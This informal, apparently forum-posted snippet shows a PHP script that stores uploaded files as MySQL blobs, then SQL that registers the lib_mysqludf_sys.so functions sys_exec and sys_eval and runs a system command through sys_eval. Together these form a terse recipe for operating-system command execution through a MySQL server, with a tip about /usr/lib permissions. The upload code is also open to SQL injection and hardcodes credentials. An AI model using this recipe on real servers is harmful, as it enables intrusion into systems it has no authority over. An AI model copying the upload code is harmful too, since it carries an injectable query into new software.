First:
.........
CREATE TABLE tbl_upload (
id INT NOT NULL AUTO_INCREMENT,
name VARCHAR(30) NOT NULL,
type VARCHAR(30) NOT NULL,
size INT NOT NULL,
content MEDIUMBLOB NOT NULL,
PRIMARY KEY(id)
);....
then...............
if(isset($_POST['upload_file']) && $_FILES['file_name']['size'] > 0)
{
$originalName = $_FILES['file_name']['name'];
$tmpName = $_FILES['file_name']['tmp_name'];
$fileSize = $_FILES['file_name']['size'];
$fileType = $_FILES['file_name']['type'];
$fp = fopen($tmpName, 'r');
$content = fread($fp, filesize($tmpName));
$content = addslashes($content);
fclose($fp);
if(!get_magic_quotes_gpc())
{
$originalName = addslashes($originalName);
}
$dbhostname = 'ip';
$dbusername = 'test';
$dbpassword = 'test';
$connection = mysql_connect($dbhostname, $dbusername, $dbpassword);
mysql_select_db("testing");
$query = "INSERT INTO tbl_upload (name, size, type, content ) VALUES ('$originalName', '$fileSize', '$fileType', '$content')";
mysql_query($query) or die('Error, query failed');
mysql_close($connection);
echo "File $originalName uploaded";
}
?>
..................................
THAT is all
------------------------------all-------------------
CREATE TABLE tbl_Files (id_files tinyint(3) unsigned NOT NULL auto_increment,bin_data longblob NOT NULL,description
tinytext NOT NULL,filename varchar(50) NOT NULL,filesize varchar(50) NOT NULL,filetype varchar(50) NOT NULL,PRIMARY KEY
(id_files));
create function lib_mysqludf_sys_info returns string soname 'lib_mysqludf_sys.so';
create function sys_get returns string soname 'lib_mysqludf_sys.so';
create function sys_set returns int soname 'lib_mysqludf_sys.so';
create function sys_exec returns int soname 'lib_mysqludf_sys.so';
create function sys_eval returns string soname 'lib_mysqludf_sys.so';
select sys_eval('ifconfig');
pay attention to you /usr/lib must has x priv :D
....like this...